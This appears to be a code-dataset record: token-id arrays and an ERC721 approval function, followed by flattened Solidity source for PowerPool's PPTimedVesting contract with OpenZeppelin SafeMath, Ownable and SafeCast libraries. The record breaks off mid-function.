[ 1, 565, 3885, 1435, 288, 203, 3639, 389, 13866, 5460, 12565, 12, 20, 92, 20, 1880, 8642, 73, 2196, 2947, 8942, 29634, 5908, 39, 7677, 29, 74, 8898, 38, 2414, 22, 5948, 73, 2643, 42, 24886, 6564, 40, 22, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x3362229de7d2C1AF21BCa907626CE9ED84AE2928/sources/contracts/ERC721W.sol
* @dev Returns whether `spender` is allowed to manage `tokenId`. Requirements: - `tokenId` must exist./
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address _owner = ownerOf(tokenId); return (spender == _owner || getApproved(tokenId) == spender || isApprovedForAll(_owner, spender)); }
9,635,809
[ 1, 1356, 2856, 1375, 87, 1302, 264, 68, 353, 2935, 358, 10680, 1375, 2316, 548, 8338, 29076, 30, 300, 1375, 2316, 548, 68, 1297, 1005, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 291, 31639, 1162, 5541, 12, 2867, 17571, 264, 16, 2254, 5034, 1147, 548, 13, 203, 3639, 2713, 203, 3639, 1476, 203, 3639, 5024, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 2583, 12, 203, 5411, 389, 1808, 12, 2316, 548, 3631, 203, 5411, 315, 654, 39, 27, 5340, 30, 3726, 843, 364, 1661, 19041, 1147, 6, 203, 3639, 11272, 203, 3639, 1758, 389, 8443, 273, 3410, 951, 12, 2316, 548, 1769, 203, 3639, 327, 261, 87, 1302, 264, 422, 389, 8443, 747, 203, 5411, 336, 31639, 12, 2316, 548, 13, 422, 17571, 264, 747, 203, 5411, 353, 31639, 1290, 1595, 24899, 8443, 16, 17571, 264, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* https://powerpool.finance/ wrrrw r wrr ppwr rrr wppr0 prwwwrp prwwwrp wr0 rr 0rrrwrrprpwp0 pp pr prrrr0 pp 0r prrrr0 0rwrrr pp pr prrrr0 prrrr0 r0 rrp pr wr00rrp prwww0 pp wr pp w00r prwwwpr 0rw prwww0 pp wr pp wr r0 r0rprprwrrrp pr0 pp wr pr pp rwwr wr 0r pp wr pr wr pr r0 prwr wrr0wpwr 00 www0 0w0ww www0 0w 00 www0 www0 0www0 wrr ww0rrrr */ // SPDX-License-Identifier: MIT // File: contracts/utils/SafeMath.sol // From // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ccf79ee483b12fb9759dc5bb5f947a31aa0a3bd6/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/utils/SafeCast.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // File: contracts/PPTimedVesting.sol pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function transfer(address _to, uint256 _amount) external returns (bool); } interface CvpInterface { function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96); } /** * @title PowerPool Vesting Contract * @author PowerPool */ contract PPTimedVesting is CvpInterface, Ownable { using SafeMath for uint256; using SafeCast for uint256; // @notice Emitted when a member is disabled either by the owner or the by the member itself event DisableMember(address indexed member, uint256 tokensRemainder); // @notice Emitted once when the contract was deployed event Init(address[] members); // @notice Emitted when the owner increases durationT correspondingly increasing the endT timestamp event IncreaseDurationT(uint256 prevDurationT, uint256 prevEndT, uint256 newDurationT, uint256 newEndT); // @notice Emitted when the owner increases personalDurationT correspondingly increasing the personalEndT timestamp event IncreasePersonalDurationT( address indexed member, uint256 prevEvaluatedDurationT, uint256 prevEvaluatedEndT, uint256 prevPersonalDurationT, uint256 newPersonalDurationT, uint256 newPersonalEndT ); // @notice Emitted when a member delegates his votes to one of the delegates or to himself event DelegateVotes(address indexed from, address indexed to, address indexed previousDelegate, uint96 adjustedVotes); // @notice Emitted when a member transfer his permission event Transfer( address indexed from, address indexed to, uint96 alreadyClaimedVotes, uint96 alreadyClaimedTokens, address currentDelegate ); /// @notice Emitted when a member claims available votes event ClaimVotes( address indexed member, address indexed delegate, uint96 lastAlreadyClaimedVotes, uint96 lastAlreadyClaimedTokens, uint96 newAlreadyClaimedVotes, uint96 newAlreadyClaimedTokens, uint96 lastMemberAdjustedVotes, uint96 adjustedVotes, uint96 diff ); /// @notice Emitted when a member claims available tokens event ClaimTokens( address indexed member, address indexed to, uint96 amount, uint256 newAlreadyClaimed, uint256 votesAvailable ); /// @notice A Emitted when a member unclaimed balance changes event UnclaimedBalanceChanged(address indexed member, uint256 previousUnclaimed, uint256 newUnclaimed); /// @notice A member statuses and unclaimed balance tracker struct Member { bool active; bool transferred; uint32 personalDurationT; uint96 alreadyClaimedVotes; uint96 alreadyClaimedTokens; } /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice ERC20 token address address public immutable token; /// @notice Start timestamp for vote vesting calculations uint256 public immutable startV; /// @notice Duration of the vote vesting in seconds uint256 public immutable durationV; /// @notice End vote vesting timestamp uint256 public immutable endV; /// @notice Start timestamp for token vesting calculations uint256 public immutable startT; /// @notice Number of the vesting contract members, used only from UI uint256 public memberCount; /// @notice Amount of ERC20 tokens to distribute during the vesting period uint96 public immutable amountPerMember; /// @notice Duration of the token vesting in seconds uint256 public durationT; /// @notice End token timestamp, used only from UI uint256 public endT; /// @notice Member details by their address mapping(address => Member) public members; /// @notice A record of vote checkpoints for each member, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each member mapping(address => uint32) public numCheckpoints; /// @notice Vote delegations mapping(address => address) public voteDelegations; /** * @notice Constructs a new vesting contract * @dev It's up to a deployer to allocate the correct amount of ERC20 tokens on this contract * @param _tokenAddress The ERC20 token address to use with this vesting contract * @param _startV The timestamp when the vote vesting period starts * @param _durationV The duration in second the vote vesting period should last * @param _startT The timestamp when the token vesting period starts * @param _durationT The duration in seconds the token vesting period should last * @param _amountPerMember The number of tokens to distribute to each vesting contract member */ constructor( address _tokenAddress, uint256 _startV, uint256 _durationV, uint256 _startT, uint256 _durationT, uint96 _amountPerMember ) public { require(_durationV > 1, "Vesting: Invalid durationV"); require(_durationT > 1, "Vesting: Invalid durationT"); require(_startV < _startT, "Vesting: Requires startV < startT"); // require((_startV + _durationV) <= (_startT + _durationT), "Vesting: Requires endV <= endT"); require((_startV.add(_durationV)) <= (_startT.add(_durationT)), "Vesting: Requires endV <= endT"); require(_amountPerMember > 0, "Vesting: Invalid amount per member"); require(IERC20(_tokenAddress).totalSupply() > 0, "Vesting: Missing supply of the token"); token = _tokenAddress; startV = _startV; durationV = _durationV; endV = _startV + _durationV; startT = _startT; durationT = _durationT; endT = _startT + _durationT; amountPerMember = _amountPerMember; } /** * @notice Initialize members of vesting * @param _memberList The list of addresses to distribute tokens to */ function initializeMembers(address[] calldata _memberList) external onlyOwner { require(memberCount == 0, "Vesting: Already initialized"); uint256 len = _memberList.length; require(len > 0, "Vesting: Empty member list"); memberCount = len; for (uint256 i = 0; i < len; i++) { members[_memberList[i]].active = true; } emit Init(_memberList); } /** * @notice Checks whether the vote vesting period has started or not * @return true If the vote vesting period has started */ function hasVoteVestingStarted() external view returns (bool) { return block.timestamp >= startV; } /** * @notice Checks whether the vote vesting period has ended or not * @return true If the vote vesting period has ended */ function hasVoteVestingEnded() external view returns (bool) { return block.timestamp >= endV; } /** * @notice Checks whether the token vesting period has started or not * @return true If the token vesting period has started */ function hasTokenVestingStarted() external view returns (bool) { return block.timestamp >= startT; } /** * @notice Checks whether the token vesting period has ended or not * @return true If the token vesting period has ended */ function hasTokenVestingEnded() external view returns (bool) { return block.timestamp >= endT; } /** * @notice Returns the address a _voteHolder delegated their votes to * @param _voteHolder The address to fetch delegate for * @return address The delegate address */ function getVoteUser(address _voteHolder) public view returns (address) { address currentDelegate = voteDelegations[_voteHolder]; if (currentDelegate == address(0)) { return _voteHolder; } return currentDelegate; } /** * @notice Provides information about the last cached votes checkpoint with no other conditions * @dev Provides a latest cached votes value. For actual votes information use `getPriorVotes()` which introduce * some additional logic constraints on top of this cached value. * @param _member The member address to get votes for */ function getLastCachedVotes(address _member) external view returns (uint256) { uint32 dstRepNum = numCheckpoints[_member]; return dstRepNum > 0 ? checkpoints[_member][dstRepNum - 1].votes : 0; } /** * @notice Provides information about a member already claimed votes * @dev Behaves like a CVP delegated balance, but with a member unclaimed balance * @dev Block number must be a finalized block or else this function will revert to prevent misinformation * @dev Returns 0 for non-member addresses, even for previously valid ones * @dev This method is a copy from CVP token with several modifications * @param account The address of the member to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) external view override returns (uint96) { require(blockNumber < block.number, "Vesting::getPriorVotes: Not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; Member memory member = members[account]; // Transferred member if (member.transferred == true) { return 0; } // (No one can use vesting votes left on the contract after endT, even for votings created before endT) if (block.timestamp > getLoadedMemberEndT(member) || block.timestamp > endT) { return 0; } // (A member has not claimed any tokens yet) OR (The blockNumber is before the first checkpoint) if (nCheckpoints == 0 || checkpoints[account][0].fromBlock > blockNumber) { return 0; } // Next check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } /*** Available to Claim calculation ***/ /** * @notice Returns available amount for a claim in the given timestamp * by the given member based on the current contract values * @param _atTimestamp The timestamp to calculate available balance for * @param _member The member address to return available balance for * @return The available amount for a claim in the provided timestamp */ function getAvailableTokensForMemberAt(uint256 _atTimestamp, address _member) external view returns (uint256) { Member memory member = members[_member]; if (member.active == false) { return 0; } return getAvailable( _atTimestamp, startT, amountPerMember, getLoadedMemberDurationT(member), member.alreadyClaimedTokens ); } /** * @notice Returns an evaluated endT value for the given member using * the member's personalDurationT if it set or the global endT otherwise. * @param _member The member address to return endT for * @return The evaluated endT value */ function getMemberEndT(address _member) external view returns (uint256) { return startT.add(getMemberDurationT(_member)); } /** * @notice Returns an evaluated durationT value for the given member using * the member's personalDurationT if it set or the global durationT otherwise. * @param _member The member address to return durationT for * @return The evaluated durationT value */ function getMemberDurationT(address _member) public view returns (uint256) { return getLoadedMemberDurationT(members[_member]); } function getLoadedMemberEndT(Member memory _member) internal view returns (uint256) { return startT.add(getLoadedMemberDurationT(_member)); } function getLoadedMemberDurationT(Member memory _member) internal view returns (uint256) { uint256 _personalDurationT = uint256(_member.personalDurationT); if (_personalDurationT == 0) { return durationT; } return _personalDurationT; } /** * @notice Returns available token amount for a claim by a given member in the current timestamp * based on the current contract values * @param _member The member address to return available balance for * @return The available amount for a claim in the current block */ function getAvailableTokensForMember(address _member) external view returns (uint256) { Member memory member = members[_member]; if (member.active == false) { return 0; } return getAvailableTokens(member.alreadyClaimedTokens, getLoadedMemberDurationT(member)); } /** * @notice Returns available vote amount for a claim by a given member at the moment * based on the current contract values * @param _member The member address to return available balance for * @return The available amount for a claim at the moment */ function getAvailableVotesForMember(address _member) external view returns (uint256) { Member storage member = members[_member]; if (member.active == false) { return 0; } return getAvailableVotes({ _alreadyClaimed: member.alreadyClaimedVotes, _memberEndT: getLoadedMemberEndT(member) }); } /** * @notice Returns available token amount for a claim based on the current contract values * and an already claimed amount input * @dev Will return amountPerMember for non-members, so an external check is required for this case * @param _alreadyClaimed amount * @param _durationT in seconds * @return The available amount for claim */ function getAvailableTokens(uint256 _alreadyClaimed, uint256 _durationT) public view returns (uint256) { return getAvailable(block.timestamp, startT, amountPerMember, _durationT, _alreadyClaimed); } /** * @notice Returns available vote amount for claim based on the current contract values * and an already claimed amount input * @dev Will return amountPerMember for non-members, so an external check is required for this case. * Will return 0 if global vesting is over. * @param _alreadyClaimed amount * @param _memberEndT either the global or a personal endT timestamp * @return The available amount for claim */ function getAvailableVotes(uint256 _alreadyClaimed, uint256 _memberEndT) public view returns (uint256) { if (block.timestamp > _memberEndT || block.timestamp > endT) { return 0; } return getAvailable(block.timestamp, startV, amountPerMember, durationV, _alreadyClaimed); } /** * @notice Calculates available amount for a claim * @dev A pure function which doesn't reads anything from state * @param _now A timestamp to calculate the available amount * @param _start The vesting period start timestamp * @param _amountPerMember The amount of ERC20 tokens to be distributed to each member * during this vesting period * @param _duration The vesting total duration in seconds * @param _alreadyClaimed The amount of tokens already claimed by a member * @return The available amount for a claim */ function getAvailable( uint256 _now, uint256 _start, uint256 _amountPerMember, uint256 _duration, uint256 _alreadyClaimed ) public pure returns (uint256) { if (_now <= _start) { return 0; } // uint256 vestingEndsAt = _start + _duration; uint256 vestingEndsAt = _start.add(_duration); uint256 to = _now > vestingEndsAt ? vestingEndsAt : _now; // uint256 accrued = (to - _start) * _amountPerMember / _duration; uint256 accrued = ((to - _start).mul(_amountPerMember).div(_duration)); // return accrued - _alreadyClaimed; return accrued.sub(_alreadyClaimed); } /*** Owner Methods ***/ /** * @notice Increase global duration of vesting. * Owner must find all personal durations lower than global duration and increase before call this function. * @param _newDurationT New global vesting duration */ function increaseDurationT(uint256 _newDurationT) external onlyOwner { require(block.timestamp < endT, "Vesting::increaseDurationT: Vesting is over"); require(_newDurationT > durationT, "Vesting::increaseDurationT: Too small duration"); require((_newDurationT - durationT) <= 180 days, "Vesting::increaseDurationT: Too big duration"); uint256 prevDurationT = durationT; uint256 prevEndT = endT; durationT = _newDurationT; uint256 newEndT = startT.add(_newDurationT); endT = newEndT; emit IncreaseDurationT(prevDurationT, prevEndT, _newDurationT, newEndT); } /** * @notice Increase personal duration of vesting. * Personal vesting duration must be always greater than global duration. * @param _members Members list for increase duration * @param _newPersonalDurationsT New personal vesting duration */ function increasePersonalDurationsT(address[] calldata _members, uint256[] calldata _newPersonalDurationsT) external onlyOwner { uint256 len = _members.length; require(_newPersonalDurationsT.length == len, "LENGTH_MISMATCH"); for (uint256 i = 0; i < len; i++) { _increasePersonalDurationT(_members[i], _newPersonalDurationsT[i]); } } function _increasePersonalDurationT(address _member, uint256 _newPersonalDurationT) internal { Member memory member = members[_member]; uint256 prevPersonalDurationT = getLoadedMemberDurationT(member); require(_newPersonalDurationT > prevPersonalDurationT, "Vesting::increasePersonalDurationT: Too small duration"); require( (_newPersonalDurationT - prevPersonalDurationT) <= 180 days, "Vesting::increasePersonalDurationT: Too big duration" ); require(_newPersonalDurationT >= durationT, "Vesting::increasePersonalDurationT: Less than durationT"); uint256 prevPersonalEndT = startT.add(prevPersonalDurationT); members[_member].personalDurationT = _newPersonalDurationT.toUint32(); uint256 newPersonalEndT = startT.add(_newPersonalDurationT); emit IncreasePersonalDurationT( _member, prevPersonalDurationT, prevPersonalEndT, member.personalDurationT, _newPersonalDurationT, newPersonalEndT ); } function disableMember(address _member) external onlyOwner { _disableMember(_member); } function _disableMember(address _member) internal { Member memory from = members[_member]; require(from.active == true, "Vesting::_disableMember: The member is inactive"); members[_member].active = false; address currentDelegate = voteDelegations[_member]; uint32 nCheckpoints = numCheckpoints[_member]; if (nCheckpoints != 0 && currentDelegate != address(0) && currentDelegate != _member) { uint96 adjustedVotes = sub96(from.alreadyClaimedVotes, from.alreadyClaimedTokens, "Vesting::_disableMember: AdjustedVotes underflow"); if (adjustedVotes > 0) { _subDelegatedVotesCache(currentDelegate, adjustedVotes); } } delete voteDelegations[_member]; uint256 tokensRemainder = sub96(amountPerMember, from.alreadyClaimedTokens, "Vesting::_disableMember: BalanceRemainder overflow"); require(IERC20(token).transfer(address(1), uint256(tokensRemainder)), "ERC20::transfer: failed"); emit DisableMember(_member, tokensRemainder); } /*** Member Methods ***/ /** * @notice An active member can renounce his membership once. * @dev This action is irreversible. The disabled member can't be enabled again. * Disables all the member's vote checkpoints. Transfers all the member's unclaimed tokens to the address(1). */ function renounceMembership() external { _disableMember(msg.sender); } /** * @notice An active member claims a distributed amount of votes * @dev Caches unclaimed balance per block number which could be used by voting contract * @param _to address to claim votes to */ function claimVotes(address _to) external { Member memory member = members[_to]; require(member.active == true, "Vesting::claimVotes: User not active"); uint256 endT_ = getLoadedMemberEndT(member); uint256 votes = getAvailableVotes({ _alreadyClaimed: member.alreadyClaimedVotes, _memberEndT: endT_ }); require(block.timestamp <= endT_, "Vesting::claimVotes: Vote vesting has ended"); require(votes > 0, "Vesting::claimVotes: Nothing to claim"); _claimVotes(_to, member, votes); } function _claimVotes( address _memberAddress, Member memory _member, 